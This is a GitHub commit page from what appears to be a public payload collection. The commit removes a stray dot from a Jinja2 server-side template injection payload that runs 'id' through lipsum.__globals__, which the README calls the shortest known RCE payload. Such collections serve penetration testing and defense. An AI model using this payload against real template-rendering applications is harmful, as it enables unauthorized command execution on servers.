Skip to content

Commit

Permalink
Merge pull request swisskyrepo#643 from p0dalirius/patch-2
Browse files Browse the repository at this point in the history
SSTI / jinja2 : Removed dot in lipsum.__globals__.["os"]
  • Loading branch information
swisskyrepo authored May 9, 2023
2 parents 8d2c30e + b3f98ad commit af4ade2
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion Server Side Template Injection/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -576,7 +576,7 @@ Source [@podalirius_](https://twitter.com/podalirius_) : https://podalirius.net/
With [objectwalker](https://github.com/p0dalirius/objectwalker) we can find a path to the `os` module from `lipsum`. This is the shortest payload known to achieve RCE in a Jinja2 template:
```python
{{ lipsum.__globals__.["os"].popen('id').read() }}
{{ lipsum.__globals__["os"].popen('id').read() }}
```
Source: https://twitter.com/podalirius_/status/1655970628648697860
Expand Down

0 comments on commit af4ade2

Please sign in to comment.